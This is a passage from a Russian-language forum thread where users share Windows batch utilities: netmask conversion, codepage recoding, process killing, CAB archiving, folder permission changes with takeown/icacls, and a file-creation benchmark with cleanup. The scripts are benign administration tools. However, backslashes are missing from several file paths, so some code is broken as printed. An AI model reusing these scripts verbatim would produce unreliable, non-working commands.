:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF
 
:CIDR
:: Трансформация маски в формат CIDR
Set BinMask=
Set i=0
:: Разбираем маску обратно на октеты
Set NetMask=!NetMask:.= !
For %%A In (!NetMask!) Do (
    Call :DEC2BIN %%A
    :: И собираем бинарную маску
    Set BinMask=!BinMask!!Result!
)
:: Удаляем из неё незначащие нули, а единицы разделяем пробелами
Set BinMask=!BinMask:0=!
Set BinMask=!BinMask:1=1 !
:: Считаем единицы
For %%A In (!BinMask!) Do (Set /A i+=1)
:: Устанавливаем значение
Set NetMask=/!i!
Exit /B

.



2



612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

6

Пакетное получение информации о IP-адресах и построение HTML-отчёта.

Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html
Если IP-адреса нужно выделить из общей массы текста, поместить текст в файл raw_data.txt и запустить get_all_ip.bat, список IP без дублей будет автоматически сгенерирован и передан на обработку masswhois.bat

В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес.

Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd



2



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

21.10.2012, 03:05

 [ТС]

7

Вывод текста без переноса на новую строку

Принцип подсмотрел у

alexii на сером форуме.

Код содержит невидимые символы BackSpace (0x08).
Поэтому, чтобы их увидеть, Ваш редактор должен их поддерживать.

Будет полезен для создания процентного прогрессбара
или указания на текущий обрабатываемый файл, если есть необходимость в экономии места на экране.
Это Lite-версия: не учитывает возможность превышения длиной выводимого текста ширины консольного окна.

Рабочий вариант качайте с файла.
Под спойлером код с комментариями. Он работать не будет, т.к. я заменил все BackSpace (0x08) на символ (0х20) для наглядности.
Чтобы поставить такой символ, достаточно нажать Alt + 8 (на цифровой клавиатуре).

Код — замените (0х20) на (0x08)

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
@Echo Off
Setlocal EnableExtensions EnableDelayedExpansion
pause>nul
:Start
Call :StrOne "Эти слова" new
pause>nul
Call :StrOne " написаны рядом" new
pause>nul
Call :StrOne "Это новая строка" crlf
pause>nul
Call :StrOne "Замена!!!"
pause>nul
Call :StrOne " Пишем рядом" new
pause>nul
Call :StrOne " И снова заменяем :)"
pause>nul
for /r c:windows %%A in (*) do Call :StrOne "%%~nxA"
goto :eof
 
:StrLen
::Вычисляет длину переменной.
::Результат записівается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (call :StrWrite "%~1"& exit /b 0)
if "%2"=="crlf" (echo.&call :StrWrite "%~1"& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :StrWrite "%~1"& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!)
::Возвращаем каретку назад
<nul set /p text=%BS%
::Печатаем текст поверх старого
<nul set /p text=_¶%~1
Set /a LenBefore=%LastLen%
Call :StrLen "%~1"
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_¶!Space!)
)
exit /b 0
 
:StrWrite
::Печатаем текст на той же строке
<nul set /p text=_¶%~1
::Обнуляем переменную длины предыдущей строки
set /a LenBefore=0
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
exit /b 0

Вложения

Тип файла: rar BS.rar (577 байт, 369 просмотров)



1



Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

27.10.2012, 02:37

 [ТС]

8

Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку.

Массовая рассылка файлов



0



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

02.11.2012, 18:00

 [ТС]

9

Перекодировка текста

Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц)

Из любой кодировки в любую (через утилиту win_iconv)

Скачать утилиту.

Синтаксис:

Bash

iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …]

Перечень кодировок:

Bash

iconv -l

Пример использования:

Bash

win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt"

Подробности в теме о ключах.

Win <-> OEM (неконсольный — на языке VBA)

Автор: Dragokas

Написан на VBA (Excel). Скачать.

Для работы необходимо включить макросы:
Для Office = 2003: Сервис -> Макрос -> Безопасность -> Выставить «Средний» или «Низкий».
Для Office > 2003 MSDN

Описание функций:

  • Перекодировка:
    — в Unicode.
    — Из OEM-866 -> в Win-1251
    — Из Win-1251 -> в OEM-866.
  • Таблица символов с их 10-ричным и 16-ым представлениями:
    — 1-байтовая;
    — 2-байтовая.

OEM-866 -> WIN-1251 (на CMD)

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@echo off
SetLocal
::Файл с кодировкой OEM-866
set FileIn=text.txt
::Результат, куда записывать WIN-1251
set FileOut=text.txt
 
chcp 866> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"  2>NUL
)
chcp 866> nul
goto :eof
 
:convert
echo.%~1>>"%FileOut%"

OEM-866 -> WIN-1251 (через утилиту на ASM)

Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =)

Автор:

Charles Kludge

Использование только через конвейер:

Bash

ipconfig /all | to1251.exe > result.txt

Bash

to1251.exe < file1.txt > result.txt

Исходник. Код ASM:

Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
format PE console 4.0
 
include 'win32a.inc'
 
next:   invoke  crt_getchar
    push    eax
    invoke  GetLastError
    or  eax, eax
    jnz exit
    pop eax
    call    recode
    invoke  crt_putchar, eax
    jmp next
exit:   
        invoke  ExitProcess,0
recode: 
    cmp eax,080h        ; rus cap 'A'
    jb  @5
    cmp eax,0afh         ; rus small 'п'
    ja  @1
    or  al,40h
@5: ret
@1:
    cmp al,0e0h     ; rus small 'р'
    jae @4
    mov al,20h      ; pseudoghaphic chrs 0xb0-0xdf -> <space>
    ret
@4: cmp al, 0efh    ; rus small 'я'
    ja  @3
    add al,10h
    ret
@3:     and ax, 0fh
    mov ebx, xlt
    xlatb   
@2:
    ret
xlt db  0a8h, 0b8h, 0aah, 0bah, 0afh, 0bfh, 0a1h, 0a2h, 0b0h, 95h, 0b7h,20h,0b0h,0a4h,20h,20h
 
; import data in the same section
 data import
 
 library kernel32,'KERNEL32.DLL',
     msvcrt,'MSVCRT.DLL'
 
 import kernel32,
        ExitProcess,'ExitProcess',
        GetLastError,'GetLastError'
 
 import msvcrt,
    crt_getchar,'getchar',
    crt_putchar, 'putchar'
end data

Win-1251 -> в Unicode (UTF-16LE) (на CMD)

С возможностью указать исходную кодовую страницу:

Использование:

Bash

Batch.cmd infile outfile src_codepage

где:

Batch.cmd — сам Batch-файл
infile — файл для перекодировки
outfile — выходной файл
src_codepage — необязательный параметр. Номер кодовой страницы исходного файла.

2 варианта кода:

1) Исходник кода сохранить в кодировке WIN-1251:

Bash
1
2
3
4
5
6
7
8
9
10
11
@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке WIN-1251
SetLocal
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 1251 >nul
CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

2) исходник кода сохранить в кодировке OEM-866:

Bash
1
2
3
4
5
6
7
8
9
10
11
@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке OEM-866
SetLocal EnableExtensions
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 866 >nul
for /F %%? in ('echo яю') do chcp 1251 >nul& CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли

UTF-8 -> Win-1251 (cmd)

От Smitis

Bash
1
2
3
4
5
6
:: UTF-8 -> ANSI
@echo off
chcp 65001 > nul
cmd /u /c type utf8.txt > tmp.txt
chcp 1251 > nul
type tmp.txt > ansi.txt

UTF-16 -> OEM-866 (cmd)

Bash
1
cmd /a /c type utf16.txt > 866.txt

UTF-16 -> Win-1251 (cmd)

Bash
1
2
chcp 1251
cmd /a /c type utf16.txt > 866.txt

Вложения

Тип файла: rar FromUnicode (конвертор)2.rar (59.5 Кб, 564 просмотров)



4



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

12.11.2012, 07:27

 [ТС]

10

Завершение процесса (оформлено в виде меню).

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@echo off
SetLocal EnableDelayedExpansion
:begin
cls
For /F "tokens=1 delims=," %%p In ('tasklist /FO CSV /nh^|sort') Do (
  Set nam=%%p
  Set /A nn+=1
  set proc!nn!=%%p
  echo !nn!. %%~p
)
:start
set /p kill=Введите номер процесса, который нужно завершить:
if "%kill%"=="" goto :start
echo Выбран !proc%kill%!. Уверены? (нажмите ENTER)
echo.
pause
taskkill /f /im !proc%kill%! /T
goto begin

Миниатюры

Полезные BAT/CMD скрипты
 



4



Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

12.11.2012, 07:57

 [ТС]

11

Крутящаяся палка (имитация).
Автор: sov44

По типу — песочные часы в Windows =))



4



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

12.11.2012, 09:10

 [ТС]

12

Создание CAB-архивов
(в т.ч. самораспаковующихся EXE).
а также распаковка CAB.

Автор:

Alex Averchenkoff

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
@echo **************************************************
@echo ((((((((((((((((((((((((((((((((((((((((((((((((((
@echo Name:         CabMaker.exe
@echo Description:  A program for creating cab archives 
@echo Version:      v. 1.0.0.0
@echo Copyright:    @Alex Averchenkoff
@echo Create:       2011
@echo ))))))))))))))))))))))))))))))))))))))))))))))))))
@echo **************************************************
 
@echo off
 
set SaveName=""
 
rem ******************************************************
rem СТАРТОВЫЙ БЛОК - ВЫБИРАЕМ ДЕЙСТВИЕ:ПРОСМОТРРАСПАКОВКАСОЗДАНИЕ АРХИВА
rem ******************************************************
:start
echo.
set /p action=VIEW-1^|EXPAND-2^|CREATE-3:
if /i "%action%"=="1" (goto view) 
if /i "%action%"=="2" (goto extract) 
if /i "%action%"=="3" (goto create) 
exit 
 
rem ******************************************************
rem ПРОСМОТР CAB АРХИВА
rem ******************************************************
:view
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (expand -D %name%.cab) else ( goto view)
 
if errorlevel 0 (goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
rem ******************************************************
rem РАСПАКОВКА CAB АРХИВА - ФАЙЛЫ РАСПАКОВЫВАЮТСЯ В ДИРЕКТОРИЮ ОДНОИМЕННУЮ С ИМЕНЕМ АРХИВА
rem ******************************************************
:extract
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (md "%~dp0%name%" && expand %name%.cab /F:*  .%name%) else ( goto extract)
 
 
if errorlevel 0 (@echo Archive successfully unzipped! & goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
:action
echo You want to continue or exit the program?
set /p action=TO CONTINUE OR EXIT? [YN]:
if /i "%action%"=="Y" (goto start) else exit
 
rem ******************************************************
rem СОЗДАНИЕ НОВОГО CAB АРХИВА  - СОЗДАЕТСЯ В ПАПКЕ РАСПОЛОЖЕНИЯ БАТНИКА
rem ******************************************************
:create
set /p name=ENTER NAME FOR ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if "%name%"=="" ( goto create)
 
rem ******************************************************
rem БУДЕМ ЛИ СОЗДАВАТЬ РАСПАКОВЫВАЮЩИЙСЯ АРХИВ
rem ******************************************************
set /p sfx=CREATE SFX?[YN]:
 
if /i "%sfx%"=="Y" (@echo  Initiated the creation of self-extracting archive)
echo.
rem ******************************************************
rem СОЗДАЕМ СПИСОК ФАЙЛОВ И ФАЙЛ ОТВЕТОВ ДЛЯ MAKECAB
rem ******************************************************
@echo  .Set CabinetNameTemplate=%name%.cab>make.ddf
@echo  .Set CompressionType=MSZIP>>make.ddf
@echo  .Set MaxDiskSize=CDROM>>make.ddf
@echo  .Set ReservePerCabinetSize=6144>>make.ddf
@echo  .Set Compress=on>>make.ddf
@echo  .Set CompressionMemory=21>>make.ddf
@echo  .Set DiskDirectoryTemplate=".">>make.ddf
@echo  .Set Cabinet=ON>>make.ddf
@echo  .Set MaxCabinetSize=999999999>>make.ddf 
@echo  .Set CompressionLevel=^7>>make.ddf
 
rem ******************************************************
rem СОЗДАЕМ ОБЫЧНЫЙ АРХИВ
rem ******************************************************
chcp 1251>nul
FOR /R %%f IN (*.*) DO  (
    If not "%%~nxf"=="make.ddf" (
       @If not "%%~nxf"=="CabMaker.bat" (@echo "%%f">>make.ddf))
    )
makecab /F make.ddf
if /i "%sfx%"=="Y" (goto create_sfx) else ( goto clear)
 
:clear
del setup.inf
del setup.rpt
del make.ddf
chcp 866 > nul
echo.
echo Creating a backup is successfully completed!
goto action
 
 
rem ******************************************************
rem МАГИЕЙ ПРЕВРАЩАЕМ ОБЫЧНЫЙ АРХИВ В САМРАСПАКОВЫВАЮЩИЙСЯ  :-)
rem ******************************************************
:create_sfx
copy /b %windir%system32extrac32.exe+%name%.cab %name%.exe
del setup.inf
del setup.rpt
del make.ddf
del %name%.cab
chcp 866 > nul
echo.
echo Create self-extracting archive completed successfully!
goto action

Вложения

Тип файла: zip CabMaker.zip (1.4 Кб, 696 просмотров)



3



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

18.11.2012, 06:05

 [ТС]

13

Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only)
Автор: Dragokas

Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003.

1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения.
Дополнительно разрешается в текущей папке — создавать файлы.
Все остальные операции, в т.ч. и создание файлов в подкаталогах — запрещено.

2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей.

Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора».
FA.cmd будет работать после блокировки RO.cmd-хой только при запуске от Админа.

Как пользоваться:
Файл множество раз протестирован и безопасен, если будете придерживаться правила:
Запускать батник только из той папки, в которой нужно ограничить доступ (RO.cmd) или получить полные права (FA.cmd).
Работает рекурсивно для всех подкаталогов, начиная с каталога, где находится батник.

Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2).

Поддержка:
Скрипт протестирован в средах английской и русской локализаций, а также:
1) Windows XP SP2
2) Windows Server 2003 SP2
3) Windows 7 SP1

Исходный код

Сохранять в кодировке OEM-866.

FA.cmd

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /grant All:f /T /C
icacls "%Cur%" /grant Все:f /T /C

RO.cmd

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /deny All:(DE,WDAC,WO,AS,WD,AD,WEA,DC,WA) /T /C
icacls "%Cur%" /deny Все:(DE,WDAC,WO,WD,AS,AD,WEA,DC,WA) /T /C
 
icacls "%Cur%" /grant All:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
icacls "%Cur%" /grant Все:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
 
icacls "%Cur%" /grant All:(WD) /C
icacls "%Cur%" /grant Все:(WD) /C
 
icacls "%~dpnx0" /grant:r Все:f /C
icacls "%~dpnx0" /grant:r All:f /C

В коде использован метод двойного запуска скрипта исключительно для упрощения
перенаправления потока вывода в NUL.
Метод «обворачивания» скобками приводил к синтаксическим ошибкам в силу
некоторых особенностей работы утилиты ICACLS.

Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое

Вложения

Тип файла: zip Access.zip (671 байт, 1013 просмотров)
Тип файла: zip icacls.exe — Vista — Windows 7.zip (14.3 Кб, 706 просмотров)
Тип файла: zip icacls.exe — XP — Server 2003.zip (13.9 Кб, 421 просмотров)



6



Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

26.11.2012, 13:41

 [ТС]

14

Пищалка (подобие beep)
на простой команде Эхо.

Блокнотом Windows не редактировать!
(использован служебный символ &H07 и кодовая страница OEM-866)

Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.



5



khaarax

6 / 2 / 0

Регистрация: 09.12.2012

Сообщений: 5

09.12.2012, 23:00

15

Вызов GUI диалогового окна выбора папки
Это HTA-обертка на JavaScript-е для открытия диалогового окна выбора папки через объект WshShell.

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@echo off
setlocal
 
for /f "tokens=2 delims=:" %%i in ('chcp') do (
    set sPrevCP=%%i
    chcp 1251 >nul
)
 
for /f "usebackq delims=" %%i in (
    `@"%systemroot%system32mshta.exe" "javascript:var objShellApp = new ActiveXObject('Shell.Application');var Folder = objShellApp.BrowseForFolder(0, 'SELECT FOLDER',1, '::{20D04FE0-3AEA-1069-A2D8-08002B30309D}');try {new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).Write(Folder.Self.Path)};catch (e){};close();" ^
    1^|more`
) do set sFolderName=%%i
 
chcp %sPrevCP% >nul
 
if defined sFolderName (
    echo Выбрана папка: %sFolderName%
) else (
    echo Папка не была выбрана.
)
pause

Копирайты не помню чьи.

Миниатюры

Полезные BAT/CMD скрипты
 



2



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

30.12.2012, 04:46

 [ТС]

16

Многопроцессное создание пустых файлов (бенчмарк для винчестера)
Код от: Dragokas
Спасибо Petya V4sechkin (OSZone) за ценную подсказку о синтаксисе запуска процесса.

P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку).

Настраиваемые параметры:
Set Dest=y:m2 — каталог, в котором создавать файлы
Set /A Potok=50 — общее кол-во запускаемых потоков
Set /A PotokMax=8 — максимальное кол-во одновременно запускаемых потоков
Set /A Range=10000 — кол-во пустых файлов, создаваемых каждым потоком.

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
::Многопотоковое создание пустых файлов ::by Alex Drago.kas
@echo off
Setlocal EnableDelayedExpansion EnableExtensions
Set Dest=y:m2
Set /A Potok=50
Set /A PotokMax=8
Set /A Range=10000
 
if not exist "%Dest%" md "%Dest%"
::1 из потоков - управляющий (этот код) + 1(?не знаю почему)
Set /A PotokMax+=2
 
Set TimeS=%Time%
Call :TimeToMSec "%TimeS%" TimeS_ms
Echo Задание начато в %TimeS%
 
Set /A sS=0
For /L %%P in (1,1,%Potok%) do (
  Set /A sE=!sS!+%Range%-1
  start "Stream %%P" /min "CMD /Q /C For /L %%N in (!sS!,1,!sE!) do cd.>%Dest%%%N"
  Set /A sS+=%Range%
  Echo Запущен поток № %%P
  Call :WaitForReady %PotokMax%
)
Echo Все потоки запущены.
Echo Ожидаю завершения заданий.
 
Call :WaitForReady 3&:: (+1 ?не знаю почему)
 
Set TimeE=%Time%
Call :TimeToMSec "%TimeE%" TimeE_ms
 
Echo Задание  начато  в  %TimeS%
Echo Задание завершено в %TimeE%
 
Set /A diff=TimeE_ms-TimeS_ms
Set /A diffSS=diff/100
Set /A diffms=%diff% %% 100
Set /A TotalFiles=Potok*Range
Set /A Speed=TotalFiles*100/diff
Echo Записано %TotalFiles% файлов.
Echo Затрачено: %diffSS%,%diffms% с.
Echo Скорость:  %Speed% файлов/с.
Echo.
pause
Goto :eof
 
:WaitForReady %PotokMax%
Set /A n=0
For /F "Delims=" %%A in ('tasklist^|Findstr /BLIC:cmd.exe') do (Set /A n+=1)
if %n% LSS %~1 Exit /B
ping -w 100 -n 1 192.168.254.254> nul
Goto :WaitForReady
 
:TimeToMSec %Time% %var_mSec%
For /F "Tokens=1-4 Delims=,:" %%A in ("%~1") do (
  Set /A HH=%%A
  Set MM=1%%B& Set /A MM=!MM!-100
  Set SS=1%%C& Set /A SS=!SS!-100
  Set mS=1%%D& Set /A mS=!mS!-100
)
Set /A %~2=(HH*60*60+MM*60+SS)*100+mS
Exit /B

В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет.
Чтобы удалить созданные файлы, прилагаю еще один бат-файл, который визуально отображает %-ый индикатор завершения удаления файлов.

Результаты тестов на моем SSD :)

Полезные BAT/CMD скрипты

Индикация процесса удаления папки

Развернуть код…

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
::Индикация процесса удаления папки
@echo off
Set Fold=y:m2
 
Echo Удаляю каталог %Fold%
Start /min cmd /c "rmdir /s /q "%Fold%"& exit"
 
Call :Count
Set /A Full=%n%
Echo 0%% - %Full% files
 
:Continue
Call :Count
Set /A Percent=100-(%n%*100/%Full%)
Echo %Percent%%%
ping -w 1000 -n 1 192.168.254.254> nul
if %n% neq 0 Goto :Continue
Echo.
Echo Ends.
pause
 
:Count
Set /A n=0
if not exist "%Fold%" Exit /B
dir /b "%Fold%">"%temp%files.tmp"
for /F "Delims=" %%A in ('find /v /c ""^<"%temp%files.tmp"') do (Set /A n=%%A)
::for /F "UseBackQ Delims=" %%A in ("%temp%files.tmp") do @Set /A n+=1
Exit /B

Вложения

Тип файла: zip Speed.zip (1.5 Кб, 397 просмотров)



5



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

03.01.2013, 02:43

 [ТС]

17

Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild)
Автор: Dragokas

UPD. 02.03.2017 — добавил скрипт для msbuild.

Зачем нужен:
Например, в системе не установлена MS Visual Studio или другая среда разработки.

Требования:
Установленный NET.FrameWork, в некоторых случаях Windows SDK.

Использование:
1. Перетянуть на данный скрипт файл с исходным кодом C# (.cs / .sln) — «Drag & Drop»
2. Либо задать как аргумент в консоли, например, compile.cmd source.cs

Функционал:
Компиляция исходного кода C# с помощью консольного CSC.exe (msbuild) компилятора.
Все версии FrameWork-а скрипт находит в папке windowsmicrosoft.net, после чего дает Вам выбор какой версией компилировать и запоминает ее.
Ведет файл-протокола ошибок в DOS (CP-866) и WIN (CP-1251) кодировках и предлагает его сохранить.
Ошибки выводит также на экран. В случае их отсутствия, скрипт завершает работу без ожидания.

Внутри скрипта есть некоторые комментарии по детальным настройкам.

Кликните здесь для просмотра всего текста

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
